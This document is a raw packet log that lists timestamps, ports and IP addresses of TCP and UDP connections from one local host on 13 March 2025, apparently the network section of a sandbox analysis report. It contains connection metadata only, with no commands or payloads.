Mar 13, 2025 17:02:54.686113119 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:54.686758041 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:54.690479040 CET	49736	443	192.168.2.9	76.76.21.21
Mar 13, 2025 17:02:54.690576077 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:54.694554090 CET	49736	443	192.168.2.9	76.76.21.21
Mar 13, 2025 17:02:54.740329981 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:54.795361996 CET	49679	80	192.168.2.9	2.17.190.73
Mar 13, 2025 17:02:55.233254910 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:55.233969927 CET	49736	443	192.168.2.9	76.76.21.21
Mar 13, 2025 17:02:55.234026909 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:55.234210968 CET	443	49736	76.76.21.21	192.168.2.9
Mar 13, 2025 17:02:55.234266996 CET	49736	443	192.168.2.9	76.76.21.21
Mar 13, 2025 17:02:55.234292984 CET	49736	443	192.168.2.9	76.76.21.21
Mar 13, 2025 17:02:56.280234098 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:02:56.514166117 CET	49678	443	192.168.2.9	52.182.141.63
Mar 13, 2025 17:02:56.592315912 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:02:57.201911926 CET	49679	80	192.168.2.9	2.17.190.73
Mar 13, 2025 17:02:57.201911926 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:02:58.405318975 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:03:00.811315060 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:03:01.338043928 CET	49678	443	192.168.2.9	52.182.141.63
Mar 13, 2025 17:03:02.014342070 CET	49679	80	192.168.2.9	2.17.190.73
Mar 13, 2025 17:03:02.358409882 CET	49671	443	192.168.2.9	204.79.197.203
Mar 13, 2025 17:03:04.233079910 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:04.233135939 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:04.233202934 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:04.233594894 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:04.233685017 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:04.233844042 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:04.233982086 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:04.234002113 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:04.234237909 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:04.234255075 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:05.624139071 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:03:05.797693014 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:05.798151016 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:05.798172951 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:05.799238920 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:05.799309969 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:05.800678968 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:05.800744057 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:05.800971031 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:05.800980091 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:05.842041016 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:06.379172087 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:06.400111914 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:06.400244951 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:06.402420044 CET	49738	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:06.402441025 CET	443	49738	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:06.426176071 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:06.426234007 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:06.426306963 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:06.426851034 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:06.426873922 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:07.173368931 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.173486948 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.173516989 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.173561096 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.261593103 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.263691902 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.263736010 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.263957977 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.263966084 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.264213085 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.264219999 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.716196060 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.764103889 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.851464987 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.852045059 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:07.852072001 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.940013885 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:07.957699060 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:07.958163023 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:07.958192110 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:07.959259033 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:07.959352016 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:07.959867001 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:07.959938049 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:07.960098028 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:07.960122108 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:07.982930899 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:08.014148951 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:08.075387955 CET	443	49737	13.32.27.77	192.168.2.9
Mar 13, 2025 17:03:08.139722109 CET	49737	443	192.168.2.9	13.32.27.77
Mar 13, 2025 17:03:08.511303902 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:08.511439085 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:08.511526108 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:08.512645006 CET	49739	443	192.168.2.9	192.0.73.2
Mar 13, 2025 17:03:08.512666941 CET	443	49739	192.0.73.2	192.168.2.9
Mar 13, 2025 17:03:10.295511007 CET	49695	443	192.168.2.9	104.21.19.207
Mar 13, 2025 17:03:10.295542002 CET	443	49695	104.21.19.207	192.168.2.9
Mar 13, 2025 17:03:10.951817989 CET	49678	443	192.168.2.9	52.182.141.63
Mar 13, 2025 17:03:11.623564959 CET	49679	80	192.168.2.9	2.17.190.73
Mar 13, 2025 17:03:12.982949972 CET	49694	443	192.168.2.9	104.21.19.207
Mar 13, 2025 17:03:12.982965946 CET	443	49694	104.21.19.207	192.168.2.9
Mar 13, 2025 17:03:15.235071898 CET	49681	80	192.168.2.9	204.79.197.203
Mar 13, 2025 17:03:16.592217922 CET	49700	443	192.168.2.9	172.67.190.49
Mar 13, 2025 17:03:16.592231989 CET	443	49700	172.67.190.49	192.168.2.9
Mar 13, 2025 17:03:20.836859941 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:20.836924076 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:20.836992979 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:20.837455988 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:20.837469101 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:22.450046062 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:22.450465918 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:22.450500011 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:22.450969934 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:22.451317072 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:22.451406002 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:22.498342037 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:24.179256916 CET	64369	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:24.184348106 CET	53	64369	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:24.184453964 CET	64369	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:24.184453964 CET	64369	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:24.189135075 CET	53	64369	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:24.651854992 CET	53	64369	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:24.652656078 CET	64369	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:24.657689095 CET	53	64369	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:24.657754898 CET	64369	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:25.149813890 CET	49695	443	192.168.2.9	104.21.19.207
Mar 13, 2025 17:03:25.149972916 CET	443	49695	104.21.19.207	192.168.2.9
Mar 13, 2025 17:03:25.150021076 CET	49695	443	192.168.2.9	104.21.19.207
Mar 13, 2025 17:03:25.623323917 CET	49702	443	192.168.2.9	216.24.57.1
Mar 13, 2025 17:03:25.623346090 CET	443	49702	216.24.57.1	192.168.2.9
Mar 13, 2025 17:03:26.563263893 CET	49710	443	192.168.2.9	216.24.57.1
Mar 13, 2025 17:03:26.563282967 CET	443	49710	216.24.57.1	192.168.2.9
Mar 13, 2025 17:03:27.086509943 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:27.086544991 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:27.086617947 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:27.086968899 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:27.086985111 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:28.520992041 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:28.521435976 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:28.521456957 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:28.522526979 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:28.522598028 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:28.522989035 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:28.523045063 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:28.523138046 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:28.523145914 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:28.576905012 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:28.936454058 CET	49709	80	192.168.2.9	216.24.57.1
Mar 13, 2025 17:03:28.941365004 CET	80	49709	216.24.57.1	192.168.2.9
Mar 13, 2025 17:03:29.030380011 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:29.030901909 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:29.030946970 CET	443	64372	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:29.031009912 CET	64372	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:29.031555891 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:29.031611919 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:29.031686068 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:29.032068968 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:29.032083035 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:29.561747074 CET	49711	443	192.168.2.9	216.24.57.1
Mar 13, 2025 17:03:29.561775923 CET	443	49711	216.24.57.1	192.168.2.9
Mar 13, 2025 17:03:29.639909029 CET	49713	443	192.168.2.9	172.67.154.53
Mar 13, 2025 17:03:29.639936924 CET	443	49713	172.67.154.53	192.168.2.9
Mar 13, 2025 17:03:30.123251915 CET	49712	443	192.168.2.9	172.67.154.53
Mar 13, 2025 17:03:30.123274088 CET	443	49712	172.67.154.53	192.168.2.9
Mar 13, 2025 17:03:30.527060986 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:30.527472019 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:30.527498007 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:30.528681993 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:30.528767109 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:30.529164076 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:30.529233932 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:30.529334068 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:30.529341936 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:30.592546940 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:30.911793947 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:30.911849022 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:30.911917925 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:30.912411928 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:30.912429094 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:31.064779997 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:31.065217972 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:31.065289974 CET	443	64373	35.190.80.1	192.168.2.9
Mar 13, 2025 17:03:31.065357924 CET	64373	443	192.168.2.9	35.190.80.1
Mar 13, 2025 17:03:32.092736006 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:32.092820883 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:32.092880964 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:33.141588926 CET	49744	443	192.168.2.9	142.250.185.132
Mar 13, 2025 17:03:33.141617060 CET	443	49744	142.250.185.132	192.168.2.9
Mar 13, 2025 17:03:33.786405087 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:33.786530018 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:33.786556005 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:33.786643982 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:33.788326025 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:33.788335085 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:33.788626909 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:33.788631916 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:34.317044020 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:34.357461929 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:34.450452089 CET	443	64374	104.237.62.213	192.168.2.9
Mar 13, 2025 17:03:34.465950966 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:34.465976954 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:34.466034889 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:34.466413021 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:34.466423035 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:34.496762991 CET	64374	443	192.168.2.9	104.237.62.213
Mar 13, 2025 17:03:34.503058910 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:34.503119946 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:34.503192902 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:34.503506899 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:34.503534079 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:34.749341011 CET	49705	80	192.168.2.9	172.217.18.99
Mar 13, 2025 17:03:34.754220963 CET	80	49705	172.217.18.99	192.168.2.9
Mar 13, 2025 17:03:34.754323959 CET	49705	80	192.168.2.9	172.217.18.99
Mar 13, 2025 17:03:37.473225117 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:37.473311901 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:37.473329067 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:37.473366976 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:37.473782063 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:37.473788023 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:37.473967075 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:37.473970890 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:37.703927994 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:37.704097033 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:37.705818892 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:37.705832958 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:37.706101894 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:37.706108093 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:37.706336975 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:37.706341982 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:37.934375048 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:37.983316898 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:38.066087008 CET	443	64376	173.231.16.77	192.168.2.9
Mar 13, 2025 17:03:38.107058048 CET	64376	443	192.168.2.9	173.231.16.77
Mar 13, 2025 17:03:38.167498112 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.167855024 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:38.167876959 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.263792038 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.312428951 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:38.404479980 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.451212883 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:38.705424070 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.707199097 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:38.707199097 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:38.707238913 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.707253933 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.796118021 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:38.842051983 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:39.547667027 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:39.591654062 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:39.636504889 CET	443	64377	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:39.650101900 CET	64379	443	192.168.2.9	149.154.167.220
Mar 13, 2025 17:03:39.650129080 CET	443	64379	149.154.167.220	192.168.2.9
Mar 13, 2025 17:03:39.650194883 CET	64379	443	192.168.2.9	149.154.167.220
Mar 13, 2025 17:03:39.651113033 CET	64379	443	192.168.2.9	149.154.167.220
Mar 13, 2025 17:03:39.651133060 CET	443	64379	149.154.167.220	192.168.2.9
Mar 13, 2025 17:03:39.686436892 CET	64377	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:39.689217091 CET	64380	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:39.689246893 CET	443	64380	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:39.689308882 CET	64380	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:39.689610004 CET	64380	443	192.168.2.9	35.214.184.4
Mar 13, 2025 17:03:39.689624071 CET	443	64380	35.214.184.4	192.168.2.9
Mar 13, 2025 17:03:41.312515974 CET	443	64379	149.154.167.220	192.168.2.9
Mar 13, 2025 17:03:41.358956099 CET	64379	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 17:02:16.520149946 CET	53	63937	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:16.656510115 CET	53	58979	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:20.175312996 CET	53	64220	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:20.501688004 CET	53	51075	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:20.780577898 CET	56578	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:20.780577898 CET	65353	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:20.787673950 CET	53	65353	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:20.788162947 CET	53	56578	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:22.060698032 CET	57386	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:22.060973883 CET	55757	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:22.074174881 CET	53	57386	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:22.076221943 CET	53	55757	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:27.065387964 CET	62803	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:27.065582991 CET	56105	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:27.072050095 CET	53	62803	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:27.072508097 CET	53	56105	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:27.987971067 CET	58818	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:27.988235950 CET	63869	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:28.004419088 CET	53	58818	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:28.005096912 CET	53	63869	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:29.427906990 CET	61356	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:29.428422928 CET	65235	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:29.697243929 CET	53	61356	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:30.063024998 CET	53	65235	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:34.404233932 CET	53150	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:34.404387951 CET	50457	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:34.422492027 CET	54756	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:34.422848940 CET	63551	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:34.424675941 CET	64494	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:34.424892902 CET	51914	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:34.648783922 CET	53	50457	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:34.648842096 CET	53	64494	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:34.668106079 CET	53	53150	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:34.790994883 CET	53	63551	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:34.852616072 CET	53	54756	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:34.899447918 CET	53	51914	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:37.788038015 CET	53	52750	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:38.408977032 CET	52650	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:38.409197092 CET	52919	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:38.424767971 CET	53	52650	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:38.445580006 CET	53	52919	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:42.045270920 CET	65469	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:42.045424938 CET	61992	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:42.272609949 CET	53	61992	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:42.534192085 CET	53	65469	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:50.488203049 CET	56056	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:50.488471985 CET	55280	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:02:50.554363966 CET	53	58885	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:50.718620062 CET	53	55280	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:51.128746986 CET	53	56056	1.1.1.1	192.168.2.9
Mar 13, 2025 17:02:56.570586920 CET	53	54651	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:03.608513117 CET	59045	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:03.608714104 CET	50739	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:03.609472990 CET	61354	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:03.609657049 CET	54540	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:04.231929064 CET	53	54540	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:04.232038975 CET	53	61354	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:04.232184887 CET	53	50739	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:04.232198954 CET	53	59045	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:06.415452003 CET	60462	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:06.415766954 CET	64339	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:06.422554016 CET	53	60462	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:06.422570944 CET	53	64339	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:16.117505074 CET	53	53726	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:19.128631115 CET	53	49499	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:20.804857016 CET	53	61988	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:24.178350925 CET	53	59779	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:27.078991890 CET	63192	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:27.079130888 CET	55133	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:27.085979939 CET	53	55133	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:27.086038113 CET	53	63192	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:30.902326107 CET	54759	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:30.902461052 CET	53954	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:30.909759045 CET	53	54759	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:30.910970926 CET	53	53954	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:34.455409050 CET	51713	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:34.455571890 CET	56214	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:34.456336021 CET	60925	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:34.456466913 CET	53942	53	192.168.2.9	1.1.1.1
Mar 13, 2025 17:03:34.464283943 CET	53	60925	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:34.465533972 CET	53	53942	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:34.496506929 CET	53	56214	1.1.1.1	192.168.2.9
Mar 13, 2025 17:03:34.502443075 CET	53	51713	1.1.1.1	192.168.2.9
